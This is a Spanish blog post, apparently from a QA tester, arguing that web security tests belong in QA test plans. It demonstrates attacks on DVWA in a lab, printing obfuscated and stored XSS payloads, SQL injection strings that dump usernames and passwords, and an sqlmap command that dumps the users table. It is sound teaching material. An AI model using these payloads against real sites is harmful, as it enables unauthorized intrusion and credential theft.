Pruebas de Seguridad Web que deberían ser incluidas en Test Plan QA
Cuando hablamos de seguridad de calidad Web, hablamos de pruebas que aunque son extensamente conocidas en casi ningún sitio las realizan los tester, normalmente se hacen por parte de los pentester, aunque creo deberían estar incluidas en los Test Plan de QA.
Sigue habiendo innumerables webs y cms vulnerables que son víctimas de la piratería. Y si de algo estoy seguro es que ninguna web pública se librará de ser víctima, ya que el 100% de las mismas lo han sido ya en alguna ocasión.
Os mostraré algunos ejemplos sencillos y gráficos. Todos ellos se realizan bajo laboratorio controlado con metasploit2 como víctima y Kali Linux como atacante dentro de la misma red local. Nunca se deberían hacer fuera de un entorno controlado y sin permiso previo.
Inserción de código
- Vamos a introducir en el input caracteres raros:
Nota: esto nos descubre una posible vulnerabilidad pues parece que el servidor se interpreta como código de la aplicación:
- Esto nos permitiría a priori poder enviar código como en el siguiente ejemplo:
NOTA: además esto mismo lo podríamos realizar con ofuscamiento, con el siguiente script
<script type="text/javascript">document.write(unescape('<a href="#">Pruébame</a>'))</script> Este nos devolvería el código ofuscado en Hexadecimal, siendo esto el siguiente: <script type='text/javascript'> document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%3C%61%20%68%72%65%66%3D%22%23%22%3E%50%72%75%E9%62%61%6D%65%3C%2F%61%3E%27%29%29%0A%3C%2F%73%63%72%69%70%74%3E')) </script>El cual se lo podríamos pasar al input directamente y lo interpretaría de igual manera que el anterior.
Pruebas de storage, veamos un ejemplo rápido:
Estas pruebas consisten en hacer que el código sea persistente, de tal modo que si sobre un comentario somos capaces de enviar código que se ejecute, este sera persistente.
Vamos a introducir lo siguiente:
- Name: prueba1
- Message: <script>alert(“!hola¡”)</script>
Ahora hagamos f5 o cargaremos la página en otro navegador y veremos como se lanza el alert:
Inyección SQL
- Dentro del apartado SQLInjection de dvwa, vamos a buscar por el id = 1
- Ahora si queremos buscar el id 1 o todos los que son true haríamos la búsqueda por id 1′ or 1=1#’
NOTA: Esta sería la primera evidencia de que admite injections y por tanto le podríamos tirar sentencias sql: - Mostrar usuarios de la tabla users: 1′ union select database(),user()#
- Obtener información del schema dvwa:
1′ union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
- Ver las columnas de la taba user:
1′ union select column_name,2 from information_schema.columns where table_name =’users’
- ver user y password: 1′ union select user,password from users #
Supera los niveles medio de DVWA en SQL
- Le pedimos el user id: 1 or 1=1
Prueba de concepto con sqlmap:
Sqlmap es una herramienta desarrollada en python para realizar inyección de código sql automáticamente.
Como se usa:
Le pasaremos la ip y el puerto de la web, además el parámetro con el que deberá jugar sqlmap “AQUÍ”, le pondremos un nivel de seguridad medium y dumpearemos la tabla users de la db dvwa.
Ejemplo:
┌──(kali㉿kali)-[~] └─$ sqlmap -u 'http://192.168.1.46:80/dvwa/vulnerabilities/sqli/?id=AQUI&Submit=Submit' --cookie='PHPSESSID=4547850a8b4af5e3c2904c6d2d844282;security=medium' --dump -D dvwa -T users
Como cierre quiero dejaros una pregunta ¿Os parece que deberían ser incluidas dentro de los test planing de QA?
Me encantará respondáis via LinkedIn/RRSS. Os leo y comentamos.
I love to be chamaleon ?
